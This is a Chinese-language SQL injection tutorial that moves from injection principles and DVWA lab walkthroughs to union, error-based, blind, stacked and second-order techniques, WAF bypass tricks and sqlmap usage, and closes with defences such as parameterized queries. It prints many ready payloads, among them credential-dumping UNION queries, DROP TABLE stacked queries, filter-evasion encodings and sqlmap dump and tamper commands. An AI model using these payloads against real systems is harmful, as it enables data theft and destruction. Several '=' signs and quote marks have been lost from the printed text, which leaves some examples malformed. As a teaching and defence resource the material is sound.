
1. 项目概述为什么我们需要一份“SQL注入大全”在网络安全这个行当里干了十几年我处理过无数起安全事件也面试过不少新人。我发现一个挺有意思的现象很多刚入门的朋友一提到SQL注入要么觉得它太“古老”不值一提要么就是被网上零散、矛盾甚至过时的资料搞得晕头转向。他们可能知道‘ or ‘1’’1这个“万能密码”但被问到“为什么这个单引号能起作用”、“除了联合查询还有哪些姿势能拿到数据”、“MyBatis里用#号就真的高枕无忧了吗”时往往就卡壳了。这正是我决定整理这篇“大全”的初衷。SQL注入绝不是一个过时的把戏。根据各大安全机构的年度报告它常年稳居Web漏洞威胁榜单的前三名。它就像网络安全领域的“基础内功”不理解它你很难真正看懂一个应用的防御体系哪里薄弱更谈不上构建有效的安全防线。无论是做渗透测试、安全开发还是应急响应对SQL注入有一个系统、深入且与时俱进的认知都是不可或缺的核心技能。这篇文章的目标就是为你搭建一个从零基础到精通的完整知识框架。我不会只扔给你一堆Payload攻击载荷让你去背而是会带你深入理解每一种注入手法背后的数据库原理、应用场景和防御逻辑。我们会从最简单的数字型、字符型注入开始一步步深入到报错注入、布尔盲注、时间盲注再到如何绕过常见的WAFWeb应用防火墙和框架限制比如MyBatis的#{}。同时我会结合像DVWA、Pikachu、Buuctf、CTFHub这些经典的实战靶场告诉你这些技术点在真实场景中如何运用和验证。收藏这一篇我希望它能成为你手边常备的、能解决实际问题的工具手册。2. SQL注入核心原理深度拆解要精通SQL注入死记硬背Payload是没用的必须从根本上理解它的原理。这就像医生治病得先知道病因才能对症下药。2.1 漏洞的本质数据与代码的混淆SQL注入漏洞的根源在于Web应用程序没有严格区分“用户输入的数据”和“程序员编写的SQL代码”。在理想的、安全的情况下用户输入的内容应该始终被当作纯粹的“数据”来处理比如一个名字、一个ID号码。但在存在漏洞的程序中用户输入被直接“拼接”到了SQL查询语句中并被数据库引擎“当作代码”执行了。我们来看一个经典场景。一个网站的登录功能后端代码可能是这样的以PHP为例$username $_POST[username]; $password $_POST[password]; $sql SELECT * FROM users WHERE username $username AND password $password;当用户正常输入admin和123456时拼接出的SQL语句是SELECT * FROM users WHERE username admin AND password 123456这没问题。但如果攻击者在用户名输入框里输入的不是admin而是admin --注意最后有个空格那么拼接后的语句就变成了SELECT * FROM users WHERE username admin -- AND password 123456在SQL中--是单行注释符。这意味着--之后的所有内容都被数据库忽略掉了。于是这个查询的实际含义变成了“查找用户名为admin的记录”完全绕过了密码验证这就是最经典的“万能密码”漏洞。核心心法SQL注入攻击者的所有技巧归根结底都是在精心构造输入使得拼接后的SQL语句的“语法结构”发生改变从而执行攻击者意图的指令而非程序员的原意。2.2 注入点的类型与判断在实际测试中我们首先需要判断哪里存在注入点以及是什么类型的注入点。这决定了我们后续该采用哪种攻击手法。1. 数字型注入参数直接被当作数字使用通常没有单引号包裹。例如SELECT * FROM news WHERE id $id如果$id是用户可控的那么注入1 OR 11语句变为SELECT * FROM news WHERE id 1 OR 11条件永真可能会返回所有文章。判断技巧在参数后尝试加减运算。例如原始链接是/news.php?id1你访问/news.php?id2-1。如果返回的结果和id1时相同那么很可能存在数字型注入因为数据库执行了2-11这个运算。2. 字符型注入参数被单引号或双引号包裹当作字符串处理。例如SELECT * FROM users WHERE username $name这是我们前面举例的类型。注入时需要考虑闭合前后的引号。判断技巧最经典的方法是尝试插入一个单引号‘。如果页面返回了数据库错误如You have an error in your SQL syntax...那么极有可能存在字符型注入因为你的引号破坏了SQL语句的语法完整性。更进一步可以尝试‘ and ‘1’’1真条件和‘ and ‘1’’2假条件观察页面返回内容是否不同。3. 搜索型注入常见于搜索功能参数通常被用在LIKE语句中如SELECT * FROM products WHERE name LIKE %$keyword%注入时需要处理通配符%和引号。判断技巧尝试输入%‘或‘%‘观察是否报错或返回异常结果。实操心得在真实环境中很多应用会屏蔽错误信息即使注入成功也不会显示数据库报错这叫“盲注”。此时判断注入点更多依赖于“布尔状态”或“时间延迟”的差异我们会在后面的盲注章节详细讲解。一个快速的习惯是在任何可输入的地方都尝试一下‘、“、\这些可能干扰SQL语法的字符观察应用的响应变化。3. 联合查询注入最直接的数据获取方式联合查询注入Union-based Injection是信息获取效率最高、最直观的一种方式。它的原理是利用SQL的UNION操作符将恶意查询的结果“附加”到原始查询的结果之后并直接显示在页面上。3.1 攻击流程与关键步骤一个完整的联合查询注入攻击通常遵循以下标准化流程我把它总结为“四步探测法”第一步判断注入点与类型如前所述使用‘、and 11、and 12等方法确认是否存在注入以及是数字型还是字符型。假设我们确认了一个字符型注入点。第二步确定查询结果的列数这是使用UNION的前提因为UNION前后两个SELECT语句的列数必须相同。我们使用ORDER BY子句来探测。‘ ORDER BY 1 -- ‘ ORDER BY 2 -- ‘ ORDER BY 3 -- ‘ ORDER BY 4 -- ...不断增加ORDER BY后面的数字直到页面返回错误如Unknown column 4 in order clause。假设ORDER BY 3正常ORDER BY 4报错那么原查询的列数就是3。第三步探测各列的数据类型和可显示位置UNION不仅要求列数相同还要求对应列的数据类型兼容。我们需要找出哪些列是能够将查询结果回显到页面上的。‘ UNION SELECT 1,2,3 --执行这个Payload观察页面原本显示数据的地方是否出现了数字1、2或3。假设数字2和3的位置在页面上显示出来了那么这两个位置就是我们后续注入查询结果的输出点。第四步获取数据库信息现在我们可以将2和3的位置替换为我们想查询的数据库函数。获取当前数据库名‘ UNION SELECT 1, database(), 3 --获取数据库版本和用户‘ UNION SELECT 1, version(), user() --获取所有数据库名在MySQL中‘ UNION SELECT 1, schema_name, 3 FROM information_schema.schemata --获取指定数据库如dvwa中的所有表名‘ UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema‘dvwa’ --获取指定表如users中的所有列名‘ UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schema‘dvwa’ AND table_name‘users’ --最终拖取数据‘ UNION SELECT 1, user, password FROM dvwa.users --3.2 靶场实战以DVWA为例DVWADamn Vulnerable Web Application的SQL注入关卡是绝佳的练习场。我们将安全级别设为Low其源码清晰地展示了漏洞$id $_GET[id]; $getid SELECT first_name, last_name FROM users WHERE user_id $id;这是一个典型的字符型注入。按照上述四步法输入1‘ and ‘1’’1和1‘ and ‘1’’2页面返回不同确认注入。输入1‘ ORDER BY 2 --和1‘ ORDER BY 3 --发现ORDER BY 3时报错确认列数为2。输入1‘ UNION SELECT 1,2 --发现页面中first_name位置显示1last_name位置显示2。两个位置都可回显。开始信息收集1‘ UNION SELECT database(), user() --获取当前库名和用户。1‘ UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schemadatabase() --获取所有表名。发现users表后1‘ UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name‘users’ --获取列名。最后1‘ UNION SELECT user, password FROM users --成功获取所有用户名和哈希密码。避坑指南在使用UNION注入时常会遇到两个问题。一是原查询可能带有复杂的WHERE条件导致我们的UNION查询结果被过滤。这时可以尝试将原查询条件置空例如注入‘ AND ‘1’’2‘ UNION SELECT ... --让前半部分查询无结果。二是页面可能只显示查询结果的第一行这时我们需要用LIMIT子句来逐行查看例如... UNION SELECT user, password FROM users LIMIT 0,1 --然后LIMIT 1,1 --以此类推。4. 报错注入当错误信息成为情报源在很多生产环境中开发者会屏蔽UNION查询的结果不让其直接显示在页面上这使得联合查询注入失效。但是如果网站开启了数据库错误回显这在开发调试阶段很常见那么“报错注入”就派上了用场。它的核心思路是故意构造一个会让数据库执行出错的Payload让数据库在错误信息中“泄露”出我们想要的数据。4.1 三大经典报错函数原理与使用MySQL数据库中有几个函数在特定条件下会因参数错误而抛出包含参数内容本身的错误信息。1.updatexml()函数updatexml()是XML处理函数。它的报错注入利用格式如下AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)concat(0x7e, ..., 0x7e)0x7e是波浪号~的十六进制。我们用~包裹要查询的内容使其在错误信息中更醒目。原理updatexml()第二个参数需要是合法的XPath路径。而我们通过concat()拼接的字符串如~database()~显然不是合法路径数据库执行时会报错并提示“XPath语法错误”同时将我们拼接的字符串内容也输出到错误信息中。2.extractvalue()函数extractvalue()也是XML函数用法与updatexml()高度相似AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))原理完全相同利用第二个参数需要合法XPath路径的约束来触发报错。3.floor()函数与rand()函数组合这是一种更复杂的报错方式通常与count()、group by一起使用能一次性爆出更多数据。AND (SELECT 1 FROM (SELECT count(*), concat(database(), floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x) a)原理这个语句利用了rand(0)在group by时的确定性以及count(*)和floor(rand(0)*2)在分组时可能产生的重复键冲突从而引发Duplicate entry错误错误信息中会包含我们concat的内容。这个Payload看起来复杂但很多自动化工具如sqlmap能自动生成。它的优点是有时在updatexml和extractvalue被过滤或长度受限时依然有效。4.2 实战应用与数据提取技巧假设我们在一个搜索功能发现注入点且页面会显示SQL错误。我们可以这样逐步提取信息爆出当前数据库名‘ and updatexml(1, concat(0x7e, database(), 0x7e), 1) --错误信息可能显示XPATH syntax error: ‘~dvwa~’爆出当前用户‘ and updatexml(1, concat(0x7e, user(), 0x7e), 1) --爆出表名这里需要用到子查询且因为updatexml一次只能显示一行需结合limit‘ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schemadatabase() limit 0,1), 0x7e), 1) --将limit 0,1依次改为limit 1,1、limit 2,1来遍历所有表。爆出列名‘ and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name‘users’ limit 0,1), 0x7e), 1) --爆出数据‘ and updatexml(1, concat(0x7e, (select concat(user, ‘:’, password) from users limit 0,1), 0x7e), 1) --注意事项报错注入有长度限制MySQL的报错信息长度通常有限如updatexml最多32位。如果要爆出的数据很长比如一个很长的哈希值或备注信息它会被截断。解决方法是用substr()或mid()函数分段截取。例如‘ and updatexml(1, concat(0x7e, substr((select password from users limit 0,1), 1, 30), 0x7e), 1) -- ‘ and updatexml(1, concat(0x7e, substr((select password from users limit 0,1), 31, 30), 0x7e), 1) --通过改变substr()的起始位置像拼图一样把完整数据拼出来。5. 盲注在没有回显的黑暗中摸索这是SQL注入中技术含量最高、也最考验耐心的一类。当网站既不会显示数据库数据也不会打印详细的错误信息时我们就进入了“盲注”的领域。盲注的核心思想是通过构造逻辑判断根据页面返回的“真/假”状态或响应时间的“快/慢”差异来一点点推断出数据库中的信息。这就像在黑暗中玩一个“是或否”的猜谜游戏。5.1 布尔盲注基于真假的逻辑推理布尔盲注依赖于应用程序对SQL查询结果的不同响应。通常查询结果为“真”时页面显示正常如显示一条记录为“假”时页面显示异常如显示“未找到”或空白。攻击流程以猜解数据库名第一个字符为例判断注入点与盲注类型输入‘ and 11 --页面正常输入‘ and 12 --页面异常确认存在布尔盲注。猜解当前数据库名长度‘ and length(database())1 -- (页面异常) ‘ and length(database())2 -- (页面异常) ... ‘ and length(database())4 -- (页面正常)由此得知数据库名长度为4。逐位猜解数据库名通常使用substr()或ascii()函数结合二分法提高效率。猜第一个字符的ASCII码是否大于100‘ and ascii(substr(database(),1,1))100 --页面正常说明大于100猜是否大于110‘ and ascii(substr(database(),1,1))110 --页面异常说明小于等于110如此反复最终确定第一个字符的ASCII码是100对应字母d。重复此过程猜解substr(database(),2,1)、substr(database(),3,1)...最终得到数据库名dvwa。自动化与工具手工进行布尔盲注极其繁琐。在实际渗透测试中我们主要借助工具如sqlmap。你只需要提供存在注入点的URL和Cookiesqlmap就能自动完成上述所有猜解过程。但理解手工原理至关重要这能帮助你在工具失效时进行手动调整或编写自己的自动化脚本。5.2 时间盲注基于延迟的“睡眠”判断这是最隐蔽的注入方式。无论查询结果真假页面返回内容都一模一样。此时我们通过构造能引起数据库执行时间延迟的语句根据页面响应时间的长短来判断条件真假。核心函数sleep()。让数据库“睡”几秒钟。攻击流程判断是否存在时间盲注‘ and sleep(5) --。如果页面响应时间明显增加了5秒左右则存在。猜解数据将布尔盲注的条件判断与sleep()结合。‘ and if(ascii(substr(database(),1,1))100, sleep(5), 1) --这个Payload的意思是如果数据库名第一个字符的ASCII码大于100那么数据库就睡眠5秒否则立即返回。我们通过计算页面响应时间如果超过5秒则条件为真如果很快返回则条件为假。然后同样使用二分法逐位猜解。实战心得与挑战时间盲注非常慢且受网络波动影响大。为了提高效率和准确性降低延迟时间在能稳定区分的前提下尽量用sleep(2)甚至sleep(1)减少等待。使用条件语句if()函数是时间盲注的灵魂务必掌握。注意WAF干扰有些WAF会监控长时间执行的SQL语句。可以尝试使用benchmark()函数执行大量运算来消耗时间替代sleep()有时能绕过检测。例如‘ and if(条件, benchmark(10000000, md5(‘test’)), 1) --。编写脚本手工进行时间盲注几乎不可能必须使用Python等语言编写自动化脚本通过多线程和精确计时来高效完成。6. 堆叠查询与二次注入非常规攻击路径6.1 堆叠查询注入堆叠查询Stacked Queries是指通过注入分号;在一次数据库连接中执行多条SQL语句。这赋予了攻击者更大的操作权限可以执行增删改查CRUD甚至定义数据结构DDL等任意操作。‘; DROP TABLE users; -- ‘; CREATE TABLE hack (data text); INSERT INTO hack VALUES (‘stolen’); --利用条件并非所有数据库驱动或框架都支持堆叠查询。PHP的mysqli_multi_query()函数支持但更安全的PDO默认情况下使用query()方法不支持。在测试中如果注入分号后语句能执行则可能存在此漏洞。危害这是极其危险的漏洞可能导致整个数据库被破坏或完全控制。6.2 二次注入这是一种更隐蔽、更高级的攻击手法。攻击者将恶意Payload先存入数据库当应用程序后续从数据库中取出这些数据并“信任地”将其用于新的SQL查询时触发注入。攻击流程第一次注入存储阶段在用户注册或信息修改处输入用户名为admin‘ --。应用程序可能对输入进行了转义使得单引号被转义为\从而安全地存入数据库。数据库里存储的明文就是admin‘ --。第二次触发利用阶段当应用程序在另一个功能如密码重置中从数据库取出这个用户名并直接拼接到SQL语句中时由于数据来自“受信任的”数据库开发者可能未再次过滤。此时拼接出的语句可能变成UPDATE users SET password‘newpass’ WHERE username‘admin‘ -- ’这样攻击者就成功地将管理员admin的密码修改了。防御难点二次注入之所以难防是因为恶意代码在存储时是“无害”的数据形态绕过了第一层输入过滤。防御的关键在于坚持“数据与代码分离”的原则即使数据来自数据库在用于拼接SQL时也应视为不可信的输入使用参数化查询进行处理。7. 绕过技巧与WAF和过滤机制的博弈现代应用通常会部署WAF或编写自定义的过滤函数来防御SQL注入。作为安全研究者或渗透测试人员了解如何绕过这些防御是必备技能。7.1 常见过滤与绕过方法过滤目标常见过滤方式绕过方法举例空格过滤或替换空格使用注释/**/、Tab键%09、换行符%0a、括号()包裹。如‘/**/union/**/select/**/1,2,3--关键词过滤union,select,where等1.大小写混合UnIoN SeLeCt2.双写ununionion seselectlect过滤一次后剩下union select3.插入注释u/**/nion sele/**/ct4.编码URL编码、十六进制编码。如select的十六进制是0x73656c656374可尝试‘ union 0x73656c656374 1,2 --引号过滤单引号‘1. 数字型注入无需引号。2. 字符型注入可尝试使用十六进制表示字符串。如‘users‘的十六进制是0x7573657273Payload可写为‘ union select column_name from information_schema.columns where table_name0x7573657273 --注释符过滤--,#1. 使用;%00空字节在某些环境下能结束语句。2. 利用闭合原语句。例如原语句为... WHERE id‘$id‘可注入1‘ or ‘1‘‘1构造出... WHERE id‘1‘ or ‘1‘‘1‘无需注释符也能正确闭合。等号过滤使用like,rlike,regexp,!,,in()等替代。如‘ or 1 like 1 --7.2 框架特定绕过以MyBatis为例MyBatis是Java中广泛使用的持久层框架。它使用#{}和${}两种方式引用参数。#{}是安全的。MyBatis会对其进行预编译相当于JDBC的PreparedStatement能有效防止SQL注入。${}是不安全的。它直接进行字符串替换相当于语句拼接。漏洞场景如果开发者在动态排序order by、表名、列名等场景下错误地使用了${}就会引入注入风险。因为#{}在预编译时会被替换为?而order by后面不能接预编译参数。如何绕过#{}进行注入这通常是一个伪命题。如果开发者严格在所有用户输入的地方都使用#{}那么理论上不存在SQL注入。所谓的“绕过”实际上是寻找那些不得不或错误地使用了${}的地方。例如!-- 错误示例使用${}进行排序 -- select idgetUsers resultTypeUser SELECT * FROM users ORDER BY ${sortField} ${sortOrder} /select攻击者可以控制sortField参数为id; DROP TABLE users --从而造成注入。防御方法是在代码层对sortField等参数进行严格的白名单校验只允许特定的几个值如id,name,create_time。高级绕过思路对于云WAF或硬件WAF还可以尝试协议层面使用HTTP参数污染HPP、分块传输编码Chunked Transfer Encoding等方式扰乱WAF对请求体的解析。混淆编码对Payload进行多重编码如URL编码两次、Unicode编码、HTML实体编码等可能绕过基于正则表达式的简单过滤。慢速攻击极慢地发送HTTP请求可能绕过基于流量分析的WAF。 这些方法更复杂需要根据具体的WAF产品进行针对性测试。8. 自动化工具实战sqlmap核心用法精讲虽然手工注入能加深理解但在实战中我们99%的时间都在使用自动化工具其中sqlmap是无可争议的王者。它不仅能自动检测注入点还能利用各种技术联合查询、报错、布尔盲注、时间盲注进行数据提取甚至提供伪Shell进行交互。8.1 基础探测与数据获取假设我们发现一个疑似注入点http://target.com/news.php?id1基本检测sqlmap -u http://target.com/news.php?id1这会使用默认的测试等级和风险等级进行探测。指定数据库类型如果已知sqlmap -u http://target.com/news.php?id1 --dbmsmysql获取当前数据库和用户sqlmap -u http://target.com/news.php?id1 --current-db --current-user列出所有数据库sqlmap -u http://target.com/news.php?id1 --dbs列出指定数据库的所有表假设库名为dvwasqlmap -u http://target.com/news.php?id1 -D dvwa --tables列出指定表的所有列假设表名为userssqlmap -u http://target.com/news.php?id1 -D dvwa -T users --columns拖取数据sqlmap -u http://target.com/news.php?id1 -D dvwa -T users -C user,password --dump--dump会尝试导出所有数据。你也可以用--dump-all导出整个数据库。8.2 高级选项与绕过技巧处理Cookie和Session很多需要登录的站点注入点位于认证之后。sqlmap -u http://target.com/vuln.php?id1 --cookiePHPSESSIDabc123; securitylow设置代理方便用Burp Suite观察流量sqlmap -u http://target.com/news.php?id1 --proxyhttp://127.0.0.1:8080指定注入技术--techniqueB: 布尔盲注E: 报错注入U: 联合查询注入S: 堆叠查询T: 时间盲注例如强制使用时间盲注--techniqueT设置延迟时间用于时间盲注避免触发WAFsqlmap -u http://target.com/news.php?id1 --time-sec2使用随机User-Agent和延迟规避基础防护sqlmap -u http://target.com/news.php?id1 --random-agent --delay1Tamper脚本绕过WAF的神器sqlmap自带大量tamper脚本用于对Payload进行混淆编码。sqlmap -u http://target.com/news.php?id1 --tamperspace2comment, betweenspace2comment将空格替换为/**/between将替换为between和and的组合。可以组合多个脚本。重要警告与伦理sqlmap功能强大但务必仅用于授权测试。未经授权对任何网站进行SQL注入测试是非法行为。在CTF靶场如DVWA、Pikachu、Buuctf或自己搭建的测试环境中练习是唯一合法且正确的途径。9. 防御之道从开发到运维的全链路防护理解了攻击才能更好地防御。防御SQL注入是一个系统工程需要在软件开发生命周期的各个阶段落实安全措施。9.1 根本大法参数化查询预编译语句这是防御SQL注入最有效、最根本的方法。其原理是将SQL语句的结构代码与数据用户输入分开发送和编译。Java (JDBC):String sql SELECT * FROM users WHERE username ? AND password ?; PreparedStatement stmt connection.prepareStatement(sql); stmt.setString(1, username); // 参数1绑定用户名 stmt.setString(2, password); // 参数2绑定密码 ResultSet rs stmt.executeQuery();Python (PyMySQL):cursor.execute(SELECT * FROM users WHERE username %s AND password %s, (username, password))PHP (PDO):$stmt $pdo-prepare(SELECT * FROM users WHERE username :username AND password :password); $stmt-execute([username $username, password $password]);关键点数据库引擎会先编译带占位符?的SQL语句模板确定其执行计划。随后传入的用户输入无论内容是什么都只会被当作纯粹的数据来处理无法改变原语句的语法结构。即使输入是admin‘ --它也会被当作一个完整的字符串去匹配username字段而不会成为注释符。9.2 辅助措施与深度防御输入验证与过滤白名单优于黑名单对于已知有限集合的输入如性别、状态、排序字段严格限定只允许特定的几个值。类型强制转换对于数字型参数在代码层强制转换为整数类型如intval($id)。转义的特殊场景如果因历史原因无法使用参数化查询如动态表名、列名必须对输入进行严格的转义。但请注意转义函数如mysql_real_escape_string是数据库相关的且并非万能如宽字节注入可绕过。它应作为最后一道防线而非首选。最小权限原则为Web应用程序连接数据库的账户分配最小必要权限。通常只赋予SELECT、INSERT、UPDATE、DELETE等数据操作权限绝不应赋予DROP、CREATE、GRANT等管理权限。使用不同的数据库账户连接不同的业务模块。错误信息处理在生产环境中绝对禁止将详细的数据库错误信息直接返回给前端用户。应配置自定义的错误页面只返回友好的通用错误提示同时将详细错误记录到后端日志中供管理员排查。Web应用防火墙部署WAF可以在网络层面拦截常见的SQL注入攻击模式。但WAF是“基于特征”的可能存在被绕过的风险不能替代安全的代码编写。定期安全审计与扫描使用静态代码分析工具SAST在开发阶段检查代码中的安全漏洞。使用动态应用安全测试工具DAST或定期进行渗透测试对线上系统进行模拟攻击发现潜在漏洞。9.3 框架安全特性使用指南MyBatis坚决使用#{}避免使用${}。对于动态表名/列名等必须使用${}的场景必须在业务逻辑层进行严格的白名单校验。Hibernate使用HQLHibernate Query Language或Criteria API它们本质也是参数化查询。避免使用原生SQL拼接如果必须用请使用createNativeQuery并配合参数绑定。Spring Data JPA使用其提供的Query注解并配合参数绑定如:name或使用方法名派生查询这些都是安全的。防御的核心思想是“不信任任何用户输入”并通过参数化查询这一黄金法则在数据库层面实现数据与代码的彻底分离。其他所有措施都是在这一基础上的加固和补充。